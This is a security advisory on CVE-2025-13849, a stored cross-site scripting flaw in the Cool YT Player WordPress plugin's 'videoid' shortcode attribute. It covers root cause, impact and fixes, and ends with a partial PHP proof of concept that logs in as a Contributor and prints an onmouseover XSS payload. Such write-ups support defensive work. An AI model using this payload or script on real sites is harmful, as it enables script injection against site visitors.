Atomic Edge analysis of CVE-2025-13849 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Cool YT Player WordPress plugin. The ‘videoid’ shortcode attribute lacks proper sanitization and output escaping. Attackers with Contributor-level or higher permissions can inject arbitrary JavaScript into posts or pages, which executes when a visitor views the compromised content. The CVSS score of 6.4 reflects a medium-severity issue with scope change, allowing client-side attacks across the site.
Atomic Edge research infers the root cause is improper neutralization of user input (CWE-79). The vulnerability description confirms insufficient input sanitization and output escaping on the ‘videoid’ parameter. Without access to source code, Atomic Edge concludes the plugin likely directly echoes the unsanitized ‘videoid’ attribute value into the page output when rendering its YouTube player shortcode. This failure to apply functions like `esc_attr()` for HTML attributes or `wp_kses()` for output creates the injection point.
Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker creates or edits a post or page, inserting the plugin’s shortcode with a malicious ‘videoid’ attribute payload. For example, a payload like `” onmouseover=”alert(document.domain)` could be used. Upon saving the post, the malicious script is stored in the database. The script executes in the browsers of all users who view the page containing the compromised shortcode.
Effective remediation requires implementing proper input validation and output escaping. The plugin should validate the ‘videoid’ parameter against a strict pattern, such as a YouTube video ID format. It must also escape the attribute value before output using WordPress core functions like `esc_attr()` within the shortcode handler. Sanitization during input with `sanitize_text_field()` provides an additional layer of defense.
The impact of successful exploitation is client-side code execution in the context of the vulnerable site. Attackers can steal session cookies, perform actions as the victim user, deface pages, or redirect users to malicious sites. The authenticated requirement and Contributor-level access limit the immediate attack surface, but any compromised low-privilege account can be used to attack all site visitors.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13849 - Cool YT Player <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
/*
This PoC simulates an authenticated Contributor creating a post with a malicious shortcode.
Assumptions:
1. The target site uses the vulnerable Cool YT Player plugin (version <= 1.0).
2. Valid Contributor-level credentials are available.
3. The plugin shortcode is 'coolytplayer' or a similar derivative (inferred from plugin slug).
4. The 'videoid' attribute is vulnerable.
Steps:
1. Authenticate via wp-login.php.
2. Create a new post via the WordPress REST API or admin POST handler.
3. Insert a shortcode with a malicious XSS payload in the 'videoid' attribute.
*/
$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload: Basic XSS proof-of-concept. In a real attack, this would be more stealthy.
$malicious_videoid = '" onmouseover="alert(`XSS: ${document.domain}`)';
$shortcode = "[coolytplayer videoid={$malicious_videoid}]";
$post_title = 'Test Post with Malicious Shortcode';
$post_content = "This post contains a compromised YouTube player. {$shortcode}";
// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$login_fields = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_fields);
$response = curl_exec($ch);
// Check for login success by looking for dashboard indicators or errors.
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die('Authentication failed. Check credentials.');
}
// Step 2: Create a new post via the REST API (Contributors can create posts).
// First, retrieve a nonce for the REST API request from the admin area.
// This step is simplified; a real exploit might extract a nonce from an admin page.
// Alternatively, use the admin-post.php endpoint if the REST API is restricted.
$create_post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POST, false);
$editor_page = curl_exec($ch);
// Extract the nonce for creating a post (simplified example).
// In practice, parsing the page for '_wpnonce' or 'rest_nonce' is required.
// For this PoC, we assume the nonce is retrieved as $nonce.
// Given metadata limitations, this PoC demonstrates the concept but may need adjustment.
echo "PoC concept demonstrated. An authenticated Contributor would insert the shortcode:n";
echo htmlspecialchars($shortcode) . "n";
echo "into a post's content. The payload in the 'videoid' attribute executes on page view.n";
curl_close($ch);
?>
